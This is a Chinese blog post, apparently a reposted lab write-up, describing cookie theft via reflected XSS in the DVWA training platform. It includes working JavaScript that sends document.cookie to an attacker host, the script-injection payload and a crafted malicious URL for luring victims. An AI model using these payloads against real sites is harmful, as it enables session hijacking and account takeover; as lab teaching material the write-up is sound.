DVWA下利用XSS获取Cookie


众所周知,利用XSS攻击,可以在用户登陆存在漏洞的站点之后,获取用户的Cookie值。有了Cookie,我们便可以在不知道用户名密码的情况下,模拟用户登陆站点。
本文记录一次在DVWA漏洞平台的XSS(Reflected)模块下,利用XSS获取该平台登陆Cookie的实验。

0x00 实验准备

  • 实验环境:
    DVWA:Windows 7,存在XSS漏洞的网站;|IP: 192.168.124.6|
    主机A:Cent OS,攻击者;|IP:192.168.124.7|
    主机B:Windows 7,被攻击者;|IP: 192.168.124.2|

  • 配置DVWA:

    • 在Windows7下搭建DVWA。从GitHub下载DVWA源代码,下载phpStudy模拟web运行环境。将DVWA源代码放到phpStudy路径下的www目录下,注意将DVWA源代码文件夹名改为DVWA。
    • 打开DVWA的配置文件|config.inc.php.bak|,将数据库密码改为|$_DVWA[ 'db_password' ] = 'root';|;保存后将配置文件名改为|config.inc.php|
    • 开启phpStudy,在地址栏输入|http://192.168.124.6/DVWA|,会自动弹出登陆界面。 |Username / Password:admin / password|
    • 将安全等级DVWA Security改为low

0x01 构建Payload

  • 攻击者主机A下开启httpd服务;新建eval.js脚本,用于向主机A发送Cookie。该脚本创建了一个img元素,img.src获取到被攻击者的Cookie后以GET的方式发送给主机A:
var img = document.createElement("img");
img.src = "http://192.168.124.7/log?"+escape(document.cookie);
document.body.appendChild(img);

0x02 执行攻击

  • 被攻击者主机B上打开DVWA的XSS(Reflected)模块:
    在这里插入图片描述
  • 在What’s your name输入框中输入|<script src=http://192.168.124.7/eval.js></script>|并提交。此时主机A的恶意脚本被执行,主机B的Cookie被以GET方式发送给主机A。在主机A上用|tail /var/log/httpd/access_log|查看web日志,发现已经获取到Cookie:
    在这里插入图片描述

0x03 总结

在真实攻击过程中,攻击者可以构造恶意url|http://192.168.124.6/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.124.7%3A6789%2FDesktop%2Feval.js%3E%3C%2Fscript%3E#|,诱使用户点击该链接,那么用户的Cookie就会发送到攻击者的主机上,攻击者利用该Cookie就能够登陆受害者的账户了。

发布了38 篇原创文章 · 获赞 18 · 访问量 6097

猜你喜欢

转载自blog.csdn.net/Sc0fie1d/article/details/100581441
今日推荐